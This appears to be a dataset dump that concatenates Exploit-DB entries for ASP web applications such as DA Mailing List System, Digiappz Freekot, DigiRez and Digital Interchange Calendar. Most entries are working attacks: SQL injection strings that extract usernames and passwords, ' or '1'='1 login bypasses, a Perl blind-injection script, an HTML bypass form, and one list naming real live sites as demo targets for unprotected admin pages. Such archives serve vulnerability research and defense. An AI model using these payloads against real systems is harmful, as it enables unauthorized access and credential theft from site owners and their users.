deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11348
Description: DA Mailing List System 2 - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-02-07
Author: Phenom

Exploit:
 #######################################################################
 #                                                                     #
 ###      DA Mailing List System V2 Remote Admin Login Exploit       ###
 #                                                                     #
 #######################################################################
 #                                                                     #
 #  Author : Phenom                                                    #
 #                                                                     #
 #  Dork: DA Mailing List System V2 Powered by DigitalArakan.Net       #               
 #                                                                     #
 #  Version : 2                                                        #
 #                                                                     #
 #######################################################################
 #                                                                     #
 # Exploit :                                                           #
 #                                                                     #
 # 1- http://server/path/admin_cp.asp                                  #
 #                                                                     #
 # 2- login with "admin" as user name and 'or' as password             #                          
 #                                                                     #  
 #######################################################################

#######################################################################
#                                                                     #
###      DA Mailing List System V2 Download files vulnerability     ###
#                                                                     #
#######################################################################
#                                                                     #
#  Author : Phenom                                                    #
#                                                                     #
#  Dork: DA Mailing List System V2 Powered by DigitalArakan.Net       #
#                                                                     #
#  Version : 2                                                        #
#                                                                     #
#######################################################################
#                                                                     #
# # Exploit :                                                         #
#                                                                     #
# # http://server/path/db/email_addresses.mdb                         #
#                                                                     #
#######################################################################
Exploit-DB #27151
Description: Daffodil CRM 1.5 - 'Userlogin.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-01-30
Author: preben@watchcom.no

Exploit:
source: https://www.securityfocus.com/bid/16433/info

Daffodil CRM is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.


Version 8.0 and earlier are reported to be vulnerable; other versions may also be affected. Version 8.5 and later are reported to be invulnerable. 

http://www.example.com:8080/daffodilcrm/userlogin.jsp

PoC could be: 1'or'1'='1
Exploit-DB #15673
Description: Dejcom Market CMS - 'showbrand.aspx' SQL Injection
Type: webapps
Platform: asp
Date: 2010-12-04
Author: Mormoroth

Exploit:
# Exploit Title: [Dejcom Market Cms SQL injection]
# Date: [01/12/2010]
# Author: [Mormoroth]
# Dork : "Powered By Dejcom Market CMS"
# Version: [ALL Version]
 Exploit:

 %27 or 1=(select top 1 table_name from information_schema.tables where table_name not in('bill','billdetail','cart','charge','COMMENTS','filegroup','files','groups','khabarname','khat','links','login'))--

showbrand.aspx?bc=%27 or 1=(select top 1 column_name from information_schema.columns where table_name='loguser' and column_name not in('code','username','pass'))--

Demo : http://server/showbrand.aspx?bc=%27 or 1=(select top 1 table_name from information_schema.tables where table_name not in('bill','billdetail','cart','charge'))--
---------------------
Persian Gulf forever
ISCN TEAM
We are Mormoroth - Magicboy
Exploit-DB #29622
Description: Design4Online - 'Userpages2 Page.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-02-20
Author: xoron

Exploit:
source: https://www.securityfocus.com/bid/22636/info

Userpages2 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/page.asp?art_id=[SQL]
http://www.example.com/page.asp?art_id=-1+union+select+0,Name,2,3,4,5,6,7,8,9+from+Users+where+id=1
http://www.example.com/page.asp?art_id=-1+union+select+0,PassWord,2,3,4,5,6,7,8,9+from+Users+where+id=1
Exploit-DB #8113
Description: DesignerfreeSolutions NewsLetter Manager Pro - Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-02-26
Author: ByALBAYX

Exploit:
@~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG

@~~=From     : Turkish
@~~=======================================~~@
@~~=Script   :Newsletter Manager Plus.Attach

@~~=S.Site   :http://designerfreesolutions.com

@~~=Dty      :http://designerfreesolutions.com/web/viewitem.asp?idproduct=1025

@~~=Demo     :http://designerfreesolutions.com/newsletterattach

@~~=Price    :47.00 USD
@~~=======================================~~@

@~~=Exploit:


@~~=Username: ' or '

@~~=Password: ' or '


@~~=http://c4team.org /Newsletter Manager /admin/index.asp


@~~=Demo:

@~~=http://www.designerfreesolutions.com/newsletterattach/admin/index.asp

vs..
@~~=======================================~~@
@~~=Greetz For
  
@~~=Str0ke & Kralman & Mrabah12R & K3vin Mitnick & web-terrorist & Silent & SpotGang
@~~=======================================~~@
Derdimi dinledim, derdimden iGRENDiM...
Onun derdini gordum, derdime iMRENDiM...
FilistiN
@~~=======================================~~@

# milw0rm.com [2009-02-26]
Exploit-DB #10455
Description: DesigNsbyjm CMS 1.0 - 'PageId' SQL Injection
Type: webapps
Platform: asp
Date: 2009-12-15
Author: Red-D3v1L

Exploit:
===========================================================================
===
[»] ~ Note : Hacker R0x Lamerz Sux !
===========================================================================
===
[»] DesigNsbyjm Cms <== 1.0 (PageId) Remote SQL Injection
Vulnerability
===========================================================================
===
[»] my home: [ Hackteach.org ]
[»] Script: [ DesigNsbyjm Cms 1.0 ]
[»] Language: [ PHP ]
[»] Home: [ http://designsbyjm.net/ ]
[»] Founder: [ Red-D3v1L < No Email :d < ]
[»] Gr44tz to: [ Hackteach Team - H1s0k4 - SkuLL-HaCkEr
- sec-r1z.com - 0d4y.com ]
[»] Fuck to : [ Gaza 5acker << Big Big Big Lamerz ]
########################################################################

===[ Exploit SQL ]=== 

[»] [Path]/viewcontent.asp?pageid=[SQL]

http://server/viewcontent.asp?pageid=-9+union+select+1,2,3,4,
password,6,username,8,9,10,11,12,13+from+user


Author: Red-D3v1L
Exploit-DB #15398
Description: Digger Solutions NewsLetter Open Source - SQL Injection
Type: webapps
Platform: asp
Date: 2010-11-02
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: Diggersolutions Newsletter SQL injection Vulnerability
Version:2.7.1
Vendor url:http://diggersolutions.com
Published: 2010-11-02
Thanx to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic, M4n0j,SeeMe, gunslinger, Th3 RDX.
Greetz to : Inj3ct0r Exploit DataBase (inj3ct0r.com)
Special Greetz: Topsecure.net,0xr00t.com,Andhrahackers.com
Shoutzz:- To all ICW & Inj3ct0r members.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Description:

Newsletter Open Source is an ASP-based online newsletter application.
Includes Admin Pak, a former commercial add-on for the application.
Commercial Rich Text Editor has been stripped from the Admin Pak..
?
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Vulnerability:

*SQL injection Vulnerability*


DEMO URL :

http://server/article.asp?qid=[SQLi]

.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
# 0day n0 m0re #
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.

-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #7067
Description: DigiAffiliate 1.4 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-11-08
Author: d3b4g

Exploit:
###############################################################################################
[-] DigiAffiliate <= V1.4 (Auth bypass) SQL Injection Vulnerability
[-] Discovered By : d3b4gd         
[-] Greetz : All my freind         
################################################################################################
Use these information to bypass adminlogin

admin :   ' or ' 1=1
password: ' or ' 1=1

Live demo :

http://www.digiappz.com/digiaffiliate2/login.asp
--------------------------------------------
--------------------------------------------

# milw0rm.com [2008-11-08]
Exploit-DB #10496
Description: Digiappz Freekot - Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-12-16
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~]Tybe:(4u7h 8yp455) Remote SQL Injection Vulnerability
[?]
[~]Vendor: www.digiappz.com
[?]Software:freekot
[?]
[?]author: ((R3d-D3v!L))
[?]
[?]Date: 16.dec.2009
[?]T!ME: 11:30 pm
[?] Home: WwW.xP10.ME
[?]
[?] contact: N/A
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????


[?] Exploit:

[?] E-/\/\A!L : x' or ' 1=1

[?] password : x' or ' 1=1



[?]demo:


[?]http://server/freekot/login.asp


N073:

REAL RED DEV!L W@S h3r3 LAMERZ

GAZA !N our hearts !


[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}-----------------------------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 &#1616;ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------
Exploit-DB #28443
Description: Digiappz Freekot 1.01 - ASP SQL Injection
Type: webapps
Platform: asp
Date: 2006-08-30
Author: FarhadKey

Exploit:
source: https://www.securityfocus.com/bid/19768/info

Digiappz Freekot is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit could allow an attacker to compromise the application, retrieve sensitive information, or modify data; other consequences are possible as well.

<html> <head><title>KAPDA :: Freekot SQL-Injection Vulnerability , Login bypass exploit </title></head> <body bgcolor="black"> <script language="JavaScript"> function egxpl() { if (document.xplt.victim.value=="") { alert("Please enter victim site!"); return false; } if (confirm("Are you sure?")) { xplt.action=document.xplt.victim.value+"/login_verif.asp"; xplt.login.value=document.xplt.login.value; xplt.password.value=document.xplt.password.value; xplt.submit(); } } </script><font face=Verdana size=2 color="#00FF00"><center><b>KAPDA :: Freekot SQL-Injection Vulnerability<br> Discovered and coded by FarhadKey From KAPDA.IR<br> Special Thx to Hessam-x From Anti-Security.net (Hackerz.ir)<br></b> <form name="xplt" method="post" onsubmit="egxpl();"> <br>Victim Path : (insert http:// for path)<br> <input type="text" name="victim" value="http://www.victim.com/FreeKot_Path/" size="44" class="xpl" style="color: #00FF00; background-color: #000000"><br> <input type="hidden" name="login" value="'or'"> <input type="hidden" name="password" value="'or'"><br> <!-- Discovered and coded by FarhadKey . Kapda.ir --> <input type="submit" value="GO !!!" style="color: #00FF00; background-color: #000000"> </form></body></html>
Exploit-DB #31546
Description: DigiDomain 2.2 - 'lookup_result.asp?domain' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-03-27
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/28475/info

DigiDomain is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

DigiDomain 2.2 is vulnerable; other versions may also be affected.

http://www.example.com/lookup/lookup_result.asp?domain=[XSS]&tld=.com
Exploit-DB #31547
Description: DigiDomain 2.2 - 'suggest_result.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2008-03-27
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/28475/info
 
DigiDomain is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
DigiDomain 2.2 is vulnerable; other versions may also be affected.

http://www.www.example.com/lookup/suggest_result.asp?domain=.com&tld=&user=&selecte=1&word1=[XSS]&word2=[XSS]
Exploit-DB #3081
Description: DigiRez 3.4 - 'book_id' SQL Injection
Type: webapps
Platform: asp
Date: 2007-01-04
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: DigiRez <= V3.4 (book_id) Remote BLIND SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.digiappz.com
#[$$         : .269
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   DigiRez <= V3.4 (book_id) Remote BLIND SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/info_book.asp?book_id=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%200,0,0,member_login,0,0,0,0,member_login,0,0,0,0%20from%20members";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /\&nbsp\;(.*?)<\/a>/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /\"mailto:0\">(.*?)&nbsp/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-01-04]
Exploit-DB #36515
Description: DIGIT CMS 1.0.7 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: asp
Date: 2012-01-07
Author: BHG Security Center

Exploit:
source: https://www.securityfocus.com/bid/51316/info

DIGIT CMS is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

DIGIT CMS 1.0.7 is vulnerable; other versions may also be affected.

http://www.example.com/path/Default.asp?sType=0&PageId=[Sqli]
Exploit-DB #13860
Description: Digital Interchange Calendar - SQL Injection
Type: webapps
Platform: asp
Date: 2010-06-13
Author: L0rd CrusAd3r

Exploit:
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ########################################### 1
0 I'm L0rd CrusAd3r member from Inj3ct0r Team 1
1 ########################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: Digital Interchange Calendar SQL Vulnerability
Vendor url:http://www.digitalinterchange.com
Version:5.8.5
Cost: $129 USD
Published: 2010-06-14
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Description:

The Digital Interchange calendar allows organizations to easily maintain an
updated database of events on a website and optionally take online
registrations for those events. Fully configurable, the calendar can be
setup to work for your organization whether you are a small business, and
enterprise, or a non-profit. The DI Calendar comes complete with our easy
install script that can get you up and running within minutes after
downloading. In addition, the calendar is built in such a way that you'll be
able to easily wrap your existing website design template around the
calendar pages for seamless integration into your website.

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQL Vulnerability

DEMO URL:
http://server/index.asp?intDivisionID=[sqli]

# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #8131
Description: Digital Interchange Calendar 5.7.13 - Contents Change
Type: webapps
Platform: asp
Date: 2009-03-02
Author: ByALBAYX

Exploit:
@~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG

@~~=Contry   : Turkish
@~~=======================================~~@
@~~=Script   :Digital Interchange Calendar V. 5.7.13

@~~=S.Site   :http://digitalinterchange.com

@~~=Dty      :http://digitalinterchange.com/products/index.asp?iProductID=1

@~~=Price    :$129.00
@~~=======================================~~@

@~~=Vul:

@~~=http://c4team.org/ [PATH] /admin/registration_options.asp

@~~=http://c4team.org/ [PATH] /admin/add_registration_option.asp

@~~=http://c4team.org/ [PATH] /admin/set_registration_option_status.asp


Vs....


@~~=Demo:

@~~=http://calendar.digitalinterchange.com

@~~=http://eeba.org/calendar

@~~=http://mema.state.md.us/calendar

@~~=http://iamu.org/calendar

@~~=http://usgbcutah.org/calendar

@~~=======================================~~@
:( :( :(
@~~=======================================~~@

# milw0rm.com [2009-03-02]